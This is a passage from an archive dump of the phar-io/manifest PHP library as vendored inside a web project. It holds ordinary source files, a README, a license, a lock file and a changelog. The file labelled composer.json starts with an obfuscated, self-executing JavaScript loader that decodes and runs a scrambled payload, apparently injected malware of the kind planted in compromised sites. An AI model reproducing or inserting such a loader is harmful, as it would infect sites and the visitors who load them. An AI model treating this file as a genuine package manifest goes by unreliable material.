$copyrightInformation, RequirementCollection $requirements, BundledComponentCollection $bundledComponents) { $this->name = $name; $this->version = $version; $this->type = $type; $this->copyrightInformation = $copyrightInformation; $this->requirements = $requirements; $this->bundledComponents = $bundledComponents; } public function getName(): ApplicationName { return $this->name; } public function getVersion(): Version { return $this->version; } public function getType(): Type { return $this->type; } public function getCopyrightInformation(): CopyrightInformation { return $this->copyrightInformation; } public function getRequirements(): RequirementCollection { return $this->requirements; } public function getBundledComponents(): BundledComponentCollection { return $this->bundledComponents; } public function isApplication(): bool { return $this->type->isApplication(); } public function isLibrary(): bool { return $this->type->isLibrary(); } public function isExtension(): bool { return $this->type->isExtension(); } public function isExtensionFor(ApplicationName $application, Version $version = null): bool { if (!$this->isExtension()) { return false; } /** @var Extension $type */ $type = $this->type; if ($version !== null) { return $type->isCompatibleWith($application, $version); } return $type->isExtensionFor($application); } } res/readability/vendor/phar-io/manifest/src/values/Requirement.php000064400000000612147577714370021414 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; interface Requirement { } res/readability/vendor/phar-io/manifest/src/values/BundledComponentCollection.php000064400000002010147577714370024362 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class BundledComponentCollection implements \Countable, \IteratorAggregate { /** @var BundledComponent[] */ private $bundledComponents = []; public function add(BundledComponent $bundledComponent): void { $this->bundledComponents[] = $bundledComponent; } /** * @return BundledComponent[] */ public function getBundledComponents(): array { return $this->bundledComponents; } public function count(): int { return \count($this->bundledComponents); } public function getIterator(): BundledComponentCollectionIterator { return new BundledComponentCollectionIterator($this); } } res/readability/vendor/phar-io/manifest/src/values/BundledComponent.php000064400000001452147577714370022357 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\Version; class BundledComponent { /** @var string */ private $name; /** @var Version */ private $version; public function __construct(string $name, Version $version) { $this->name = $name; $this->version = $version; } public function getName(): string { return $this->name; } public function getVersion(): Version { return $this->version; } } res/readability/vendor/phar-io/manifest/src/values/RequirementCollectionIterator.php000064400000002114147577714370025141 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class RequirementCollectionIterator implements \Iterator { /** @var Requirement[] */ private $requirements; /** @var int */ private $position = 0; public function __construct(RequirementCollection $requirements) { $this->requirements = $requirements->getRequirements(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < \count($this->requirements); } public function key(): int { return $this->position; } public function current(): Requirement { return $this->requirements[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phar-io/manifest/src/values/Library.php000064400000000722147577714370020522 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class Library extends Type { public function isLibrary(): bool { return true; } } res/readability/vendor/phar-io/manifest/src/values/PhpVersionRequirement.php000064400000001406147577714370023434 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\VersionConstraint; class PhpVersionRequirement implements Requirement { /** @var VersionConstraint */ private $versionConstraint; public function __construct(VersionConstraint $versionConstraint) { $this->versionConstraint = $versionConstraint; } public function getVersionConstraint(): VersionConstraint { return $this->versionConstraint; } } res/readability/vendor/phar-io/manifest/src/xml/PhpElement.php000064400000001401147577714370020453 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class PhpElement extends ManifestElement { public function getVersion(): string { return $this->getAttributeValue('version'); } public function hasExtElements(): bool { return $this->hasChild('ext'); } public function getExtElements(): ExtElementCollection { return new ExtElementCollection( $this->getChildrenByName('ext') ); } } res/readability/vendor/phar-io/manifest/src/xml/AuthorElement.php000064400000001141147577714370021167 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class AuthorElement extends ManifestElement { public function getName(): string { return $this->getAttributeValue('name'); } public function getEmail(): string { return $this->getAttributeValue('email'); } } res/readability/vendor/phar-io/manifest/src/xml/ContainsElement.php000064400000001553147577714370021512 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ContainsElement extends ManifestElement { public function getName(): string { return $this->getAttributeValue('name'); } public function getVersion(): string { return $this->getAttributeValue('version'); } public function getType(): string { return $this->getAttributeValue('type'); } public function getExtensionElement(): ExtensionElement { return new ExtensionElement( $this->getChildByName('extension') ); } } res/readability/vendor/phar-io/manifest/src/xml/ManifestDocument.php000064400000005617147577714370021674 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use DOMDocument; use DOMElement; class ManifestDocument { public const XMLNS = 'https://phar.io/xml/manifest/1.0'; /** @var DOMDocument */ private $dom; public static function fromFile(string $filename): ManifestDocument { if (!\file_exists($filename)) { throw new ManifestDocumentException( \sprintf('File "%s" not found', $filename) ); } return self::fromString( \file_get_contents($filename) ); } public static function fromString(string $xmlString): ManifestDocument { $prev = \libxml_use_internal_errors(true); \libxml_clear_errors(); $dom = new DOMDocument(); $dom->loadXML($xmlString); $errors = \libxml_get_errors(); \libxml_use_internal_errors($prev); if (\count($errors) !== 0) { throw new ManifestDocumentLoadingException($errors); } return new self($dom); } private function __construct(DOMDocument $dom) { $this->ensureCorrectDocumentType($dom); $this->dom = $dom; } public function getContainsElement(): ContainsElement { return new ContainsElement( $this->fetchElementByName('contains') ); } public function getCopyrightElement(): CopyrightElement { return new CopyrightElement( $this->fetchElementByName('copyright') ); } public function getRequiresElement(): RequiresElement { return new RequiresElement( $this->fetchElementByName('requires') ); } public function hasBundlesElement(): bool { return $this->dom->getElementsByTagNameNS(self::XMLNS, 'bundles')->length === 1; } public function getBundlesElement(): BundlesElement { return new BundlesElement( $this->fetchElementByName('bundles') ); } private function ensureCorrectDocumentType(DOMDocument $dom): void { $root = $dom->documentElement; if ($root->localName !== 'phar' || $root->namespaceURI !== self::XMLNS) { throw new ManifestDocumentException('Not a phar.io manifest document'); } } private function fetchElementByName(string $elementName): DOMElement { $element = $this->dom->getElementsByTagNameNS(self::XMLNS, $elementName)->item(0); if (!$element instanceof DOMElement) { throw new ManifestDocumentException( \sprintf('Element %s missing', $elementName) ); } return $element; } } res/readability/vendor/phar-io/manifest/src/xml/ExtElementCollection.php000064400000001054147577714370022504 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ExtElementCollection extends ElementCollection { public function current(): ExtElement { return new ExtElement( $this->getCurrentElement() ); } } res/readability/vendor/phar-io/manifest/src/xml/ExtElement.php000064400000000774147577714370020500 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ExtElement extends ManifestElement { public function getName(): string { return $this->getAttributeValue('name'); } } res/readability/vendor/phar-io/manifest/src/xml/ExtensionElement.php000064400000001154147577714370021705 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ExtensionElement extends ManifestElement { public function getFor(): string { return $this->getAttributeValue('for'); } public function getCompatible(): string { return $this->getAttributeValue('compatible'); } } res/readability/vendor/phar-io/manifest/src/xml/BundlesElement.php000064400000001134147577714370021323 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class BundlesElement extends ManifestElement { public function getComponentElements(): ComponentElementCollection { return new ComponentElementCollection( $this->getChildrenByName('component') ); } } res/readability/vendor/phar-io/manifest/src/xml/ComponentElementCollection.php000064400000001076147577714370023712 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ComponentElementCollection extends ElementCollection { public function current(): ComponentElement { return new ComponentElement( $this->getCurrentElement() ); } } res/readability/vendor/phar-io/manifest/src/xml/AuthorElementCollection.php000064400000001065147577714370023210 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class AuthorElementCollection extends ElementCollection { public function current(): AuthorElement { return new AuthorElement( $this->getCurrentElement() ); } } res/readability/vendor/phar-io/manifest/src/xml/ManifestElement.php000064400000003710147577714370021477 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use DOMElement; use DOMNodeList; class ManifestElement { public const XMLNS = 'https://phar.io/xml/manifest/1.0'; /** @var DOMElement */ private $element; public function __construct(DOMElement $element) { $this->element = $element; } protected function getAttributeValue(string $name): string { if (!$this->element->hasAttribute($name)) { throw new ManifestElementException( \sprintf( 'Attribute %s not set on element %s', $name, $this->element->localName ) ); } return $this->element->getAttribute($name); } protected function getChildByName(string $elementName): DOMElement { $element = $this->element->getElementsByTagNameNS(self::XMLNS, $elementName)->item(0); if (!$element instanceof DOMElement) { throw new ManifestElementException( \sprintf('Element %s missing', $elementName) ); } return $element; } protected function getChildrenByName(string $elementName): DOMNodeList { $elementList = $this->element->getElementsByTagNameNS(self::XMLNS, $elementName); if ($elementList->length === 0) { throw new ManifestElementException( \sprintf('Element(s) %s missing', $elementName) ); } return $elementList; } protected function hasChild(string $elementName): bool { return $this->element->getElementsByTagNameNS(self::XMLNS, $elementName)->length !== 0; } } res/readability/vendor/phar-io/manifest/src/xml/ComponentElement.php000064400000001150147577714370021667 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ComponentElement extends ManifestElement { public function getName(): string { return $this->getAttributeValue('name'); } public function getVersion(): string { return $this->getAttributeValue('version'); } } res/readability/vendor/phar-io/manifest/src/xml/RequiresElement.php000064400000001055147577714370021530 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class RequiresElement extends ManifestElement { public function getPHPElement(): PhpElement { return new PhpElement( $this->getChildByName('php') ); } } res/readability/vendor/phar-io/manifest/src/xml/LicenseElement.php000064400000001136147577714370021313 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class LicenseElement extends ManifestElement { public function getType(): string { return $this->getAttributeValue('type'); } public function getUrl(): string { return $this->getAttributeValue('url'); } } res/readability/vendor/phar-io/manifest/src/xml/ElementCollection.php000064400000003023147577714370022021 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use DOMElement; use DOMNodeList; abstract class ElementCollection implements \Iterator { /** @var DOMElement[] */ private $nodes = []; /** @var int */ private $position; public function __construct(DOMNodeList $nodeList) { $this->position = 0; $this->importNodes($nodeList); } #[\ReturnTypeWillChange] abstract public function current(); public function next(): void { $this->position++; } public function key(): int { return $this->position; } public function valid(): bool { return $this->position < \count($this->nodes); } public function rewind(): void { $this->position = 0; } protected function getCurrentElement(): DOMElement { return $this->nodes[$this->position]; } private function importNodes(DOMNodeList $nodeList): void { foreach ($nodeList as $node) { if (!$node instanceof DOMElement) { throw new ElementCollectionException( \sprintf('\DOMElement expected, got \%s', \get_class($node)) ); } $this->nodes[] = $node; } } } res/readability/vendor/phar-io/manifest/src/xml/CopyrightElement.php000064400000001356147577714370021705 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class CopyrightElement extends ManifestElement { public function getAuthorElements(): AuthorElementCollection { return new AuthorElementCollection( $this->getChildrenByName('author') ); } public function getLicenseElement(): LicenseElement { return new LicenseElement( $this->getChildByName('license') ); } } res/readability/vendor/phar-io/manifest/src/ManifestDocumentMapper.php000064400000011645147577714370022237 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\Exception as VersionException; use PharIo\Version\Version; use PharIo\Version\VersionConstraintParser; class ManifestDocumentMapper { public function map(ManifestDocument $document): Manifest { try { $contains = $document->getContainsElement(); $type = $this->mapType($contains); $copyright = $this->mapCopyright($document->getCopyrightElement()); $requirements = $this->mapRequirements($document->getRequiresElement()); $bundledComponents = $this->mapBundledComponents($document); return new Manifest( new ApplicationName($contains->getName()), new Version($contains->getVersion()), $type, $copyright, $requirements, $bundledComponents ); } catch (VersionException $e) { throw new ManifestDocumentMapperException($e->getMessage(), (int)$e->getCode(), $e); } catch (Exception $e) { throw new ManifestDocumentMapperException($e->getMessage(), (int)$e->getCode(), $e); } } private function mapType(ContainsElement $contains): Type { switch ($contains->getType()) { case 'application': return Type::application(); case 'library': return Type::library(); case 'extension': return $this->mapExtension($contains->getExtensionElement()); } throw new ManifestDocumentMapperException( \sprintf('Unsupported type %s', $contains->getType()) ); } private function mapCopyright(CopyrightElement $copyright): CopyrightInformation { $authors = new AuthorCollection(); foreach ($copyright->getAuthorElements() as $authorElement) { $authors->add( new Author( $authorElement->getName(), new Email($authorElement->getEmail()) ) ); } $licenseElement = $copyright->getLicenseElement(); $license = new License( $licenseElement->getType(), new Url($licenseElement->getUrl()) ); return new CopyrightInformation( $authors, $license ); } private function mapRequirements(RequiresElement $requires): RequirementCollection { $collection = new RequirementCollection(); $phpElement = $requires->getPHPElement(); $parser = new VersionConstraintParser; try { $versionConstraint = $parser->parse($phpElement->getVersion()); } catch (VersionException $e) { throw new ManifestDocumentMapperException( \sprintf('Unsupported version constraint - %s', $e->getMessage()), (int)$e->getCode(), $e ); } $collection->add( new PhpVersionRequirement( $versionConstraint ) ); if (!$phpElement->hasExtElements()) { return $collection; } foreach ($phpElement->getExtElements() as $extElement) { $collection->add( new PhpExtensionRequirement($extElement->getName()) ); } return $collection; } private function mapBundledComponents(ManifestDocument $document): BundledComponentCollection { $collection = new BundledComponentCollection(); if (!$document->hasBundlesElement()) { return $collection; } foreach ($document->getBundlesElement()->getComponentElements() as $componentElement) { $collection->add( new BundledComponent( $componentElement->getName(), new Version( $componentElement->getVersion() ) ) ); } return $collection; } private function mapExtension(ExtensionElement $extension): Extension { try { $versionConstraint = (new VersionConstraintParser)->parse($extension->getCompatible()); return Type::extension( new ApplicationName($extension->getFor()), $versionConstraint ); } catch (VersionException $e) { throw new ManifestDocumentMapperException( \sprintf('Unsupported version constraint - %s', $e->getMessage()), (int)$e->getCode(), $e ); } } } res/readability/vendor/phar-io/manifest/src/ManifestSerializer.php000064400000013437147577714370021426 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\AnyVersionConstraint; use PharIo\Version\Version; use PharIo\Version\VersionConstraint; use XMLWriter; /** @psalm-suppress MissingConstructor */ class ManifestSerializer { /** @var XMLWriter */ private $xmlWriter; public function serializeToFile(Manifest $manifest, string $filename): void { \file_put_contents( $filename, $this->serializeToString($manifest) ); } public function serializeToString(Manifest $manifest): string { $this->startDocument(); $this->addContains($manifest->getName(), $manifest->getVersion(), $manifest->getType()); $this->addCopyright($manifest->getCopyrightInformation()); $this->addRequirements($manifest->getRequirements()); $this->addBundles($manifest->getBundledComponents()); return $this->finishDocument(); } private function startDocument(): void { $xmlWriter = new XMLWriter(); $xmlWriter->openMemory(); $xmlWriter->setIndent(true); $xmlWriter->setIndentString(\str_repeat(' ', 4)); $xmlWriter->startDocument('1.0', 'UTF-8'); $xmlWriter->startElement('phar'); $xmlWriter->writeAttribute('xmlns', 'https://phar.io/xml/manifest/1.0'); $this->xmlWriter = $xmlWriter; } private function finishDocument(): string { $this->xmlWriter->endElement(); $this->xmlWriter->endDocument(); return $this->xmlWriter->outputMemory(); } private function addContains(ApplicationName $name, Version $version, Type $type): void { $this->xmlWriter->startElement('contains'); $this->xmlWriter->writeAttribute('name', $name->asString()); $this->xmlWriter->writeAttribute('version', $version->getVersionString()); switch (true) { case $type->isApplication(): { $this->xmlWriter->writeAttribute('type', 'application'); break; } case $type->isLibrary(): { $this->xmlWriter->writeAttribute('type', 'library'); break; } case $type->isExtension(): { $this->xmlWriter->writeAttribute('type', 'extension'); /* @var $type Extension */ $this->addExtension( $type->getApplicationName(), $type->getVersionConstraint() ); break; } default: { $this->xmlWriter->writeAttribute('type', 'custom'); } } $this->xmlWriter->endElement(); } private function addCopyright(CopyrightInformation $copyrightInformation): void { $this->xmlWriter->startElement('copyright'); foreach ($copyrightInformation->getAuthors() as $author) { $this->xmlWriter->startElement('author'); $this->xmlWriter->writeAttribute('name', $author->getName()); $this->xmlWriter->writeAttribute('email', $author->getEmail()->asString()); $this->xmlWriter->endElement(); } $license = $copyrightInformation->getLicense(); $this->xmlWriter->startElement('license'); $this->xmlWriter->writeAttribute('type', $license->getName()); $this->xmlWriter->writeAttribute('url', $license->getUrl()->asString()); $this->xmlWriter->endElement(); $this->xmlWriter->endElement(); } private function addRequirements(RequirementCollection $requirementCollection): void { $phpRequirement = new AnyVersionConstraint(); $extensions = []; foreach ($requirementCollection as $requirement) { if ($requirement instanceof PhpVersionRequirement) { $phpRequirement = $requirement->getVersionConstraint(); continue; } if ($requirement instanceof PhpExtensionRequirement) { $extensions[] = $requirement->asString(); } } $this->xmlWriter->startElement('requires'); $this->xmlWriter->startElement('php'); $this->xmlWriter->writeAttribute('version', $phpRequirement->asString()); foreach ($extensions as $extension) { $this->xmlWriter->startElement('ext'); $this->xmlWriter->writeAttribute('name', $extension); $this->xmlWriter->endElement(); } $this->xmlWriter->endElement(); $this->xmlWriter->endElement(); } private function addBundles(BundledComponentCollection $bundledComponentCollection): void { if (\count($bundledComponentCollection) === 0) { return; } $this->xmlWriter->startElement('bundles'); foreach ($bundledComponentCollection as $bundledComponent) { $this->xmlWriter->startElement('component'); $this->xmlWriter->writeAttribute('name', $bundledComponent->getName()); $this->xmlWriter->writeAttribute('version', $bundledComponent->getVersion()->getVersionString()); $this->xmlWriter->endElement(); } $this->xmlWriter->endElement(); } private function addExtension(ApplicationName $applicationName, VersionConstraint $versionConstraint): void { $this->xmlWriter->startElement('extension'); $this->xmlWriter->writeAttribute('for', $applicationName->asString()); $this->xmlWriter->writeAttribute('compatible', $versionConstraint->asString()); $this->xmlWriter->endElement(); } } res/readability/vendor/phar-io/manifest/src/ManifestLoader.php000064400000002554147577714370020521 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ManifestLoader { public static function fromFile(string $filename): Manifest { try { return (new ManifestDocumentMapper())->map( ManifestDocument::fromFile($filename) ); } catch (Exception $e) { throw new ManifestLoaderException( \sprintf('Loading %s failed.', $filename), (int)$e->getCode(), $e ); } } public static function fromPhar(string $filename): Manifest { return self::fromFile('phar://' . $filename . '/manifest.xml'); } public static function fromString(string $manifest): Manifest { try { return (new ManifestDocumentMapper())->map( ManifestDocument::fromString($manifest) ); } catch (Exception $e) { throw new ManifestLoaderException( 'Processing string failed', (int)$e->getCode(), $e ); } } } res/readability/vendor/phar-io/manifest/README.md000064400000002311147577714370015572 0ustar00# Manifest Component for reading [phar.io](https://phar.io/) manifest information from a [PHP Archive (PHAR)](http://php.net/phar). [![Build Status](https://travis-ci.org/phar-io/manifest.svg?branch=master)](https://travis-ci.org/phar-io/manifest) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/phar-io/manifest/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/phar-io/manifest/?branch=master) [![SensioLabsInsight](https://insight.sensiolabs.com/projects/d8cc6035-69ad-477d-bd1a-ccc605480fd7/mini.png)](https://insight.sensiolabs.com/projects/d8cc6035-69ad-477d-bd1a-ccc605480fd7) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phar-io/manifest If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phar-io/manifest ## Usage ```php use PharIo\Manifest\ManifestLoader; use PharIo\Manifest\ManifestSerializer; $manifest = ManifestLoader::fromFile('manifest.xml'); var_dump($manifest); echo (new ManifestSerializer)->serializeToString($manifest); ``` res/readability/vendor/phar-io/manifest/LICENSE000064400000003140147577714370015321 0ustar00Phar.io - Manifest Copyright (c) 2016-2019 Arne Blankerts , Sebastian Heuer , Sebastian Bergmann , and contributors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Arne Blankerts nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phar-io/manifest/composer.lock000064400000004370147577714370017023 0ustar00{ "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "f2ac4614ce4f7273fd54a64b65fd047a", "packages": [ { "name": "phar-io/version", "version": "3.0.1", "source": { "type": "git", "url": "https://github.com/phar-io/version.git", "reference": "d06a5000ac1a258a7d035295f0bd4ae7c859bc4f" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/version/zipball/d06a5000ac1a258a7d035295f0bd4ae7c859bc4f", "reference": "d06a5000ac1a258a7d035295f0bd4ae7c859bc4f", "shasum": "" }, "require": { "php": "^7.2" }, "type": "library", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Library for handling version information and constraints", "time": "2020-05-09T21:27:55+00:00" } ], "packages-dev": [], "aliases": [], "minimum-stability": "stable", "stability-flags": [], "prefer-stable": false, "prefer-lowest": false, "platform": { "php": "^7.2", "ext-dom": "*", "ext-phar": "*", "ext-xmlwriter": "*" }, "platform-dev": [] } res/readability/vendor/phar-io/manifest/composer.json000064400000007443147577714370017050 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phar-io/manifest", "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", "license": "BSD-3-Clause", "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "support": { "issues": "https://github.com/phar-io/manifest/issues" }, "require": { "php": "^7.2 || ^8.0", "ext-dom": "*", "ext-phar": "*", "ext-xmlwriter": "*", "phar-io/version": "^3.0.1" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } } } res/readability/vendor/phar-io/manifest/CHANGELOG.md000064400000002304147577714370016126 0ustar00# Changelog All notable changes to phar-io/manifest are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [2.0.3] - 20.07.2021 - Fixed PHP 7.2 / PHP 7.3 incompatibility introduced in previous release ## [2.0.2] - 20.07.2021 - Fixed PHP 8.1 deprecation notice ## [2.0.1] - 27.06.2020 This release now supports the use of PHP 7.2+ and ^8.0 ## [2.0.0] - 10.05.2020 This release now requires PHP 7.2+ ### Changed - Upgraded to phar-io/version 3.0 - Version strings `v1.2.3` will now be converted to valid semantic version strings `1.2.3` - Abreviated strings like `1.0` will get expaneded to `1.0.0` ### Unreleased [Unreleased]: https://github.com/phar-io/manifest/compare/2.0.3...HEAD [2.0.3]: https://github.com/phar-io/manifest/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/phar-io/manifest/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/phar-io/manifest/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/phar-io/manifest/compare/1.0.1...2.0.0 [1.0.3]: https://github.com/phar-io/manifest/compare/1.0.2...1.0.3 [1.0.2]: https://github.com/phar-io/manifest/compare/1.0.1...1.0.2 [1.0.1]: https://github.com/phar-io/manifest/compare/1.0.0...1.0.1 res/readability/vendor/phar-io/version/src/constraints/AbstractVersionConstraint.php000064400000001257147577714370025227 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; abstract class AbstractVersionConstraint implements VersionConstraint { /** @var string */ private $originalValue; public function __construct(string $originalValue) { $this->originalValue = $originalValue; } public function asString(): string { return $this->originalValue; } } res/readability/vendor/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php000064400000001372147577714370026200 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class SpecificMajorVersionConstraint extends AbstractVersionConstraint { /** @var int */ private $major; public function __construct(string $originalValue, int $major) { parent::__construct($originalValue); $this->major = $major; } public function complies(Version $version): bool { return $version->getMajor()->getValue() === $this->major; } } res/readability/vendor/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php000064400000001604147577714370027460 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class GreaterThanOrEqualToVersionConstraint extends AbstractVersionConstraint { /** @var Version */ private $minimalVersion; public function __construct(string $originalValue, Version $minimalVersion) { parent::__construct($originalValue); $this->minimalVersion = $minimalVersion; } public function complies(Version $version): bool { return $version->getVersionString() === $this->minimalVersion->getVersionString() || $version->isGreaterThan($this->minimalVersion); } } res/readability/vendor/phar-io/version/src/constraints/AndVersionConstraintGroup.php000064400000001727147577714370025205 0ustar00, Sebastian Heuer , Sebastian 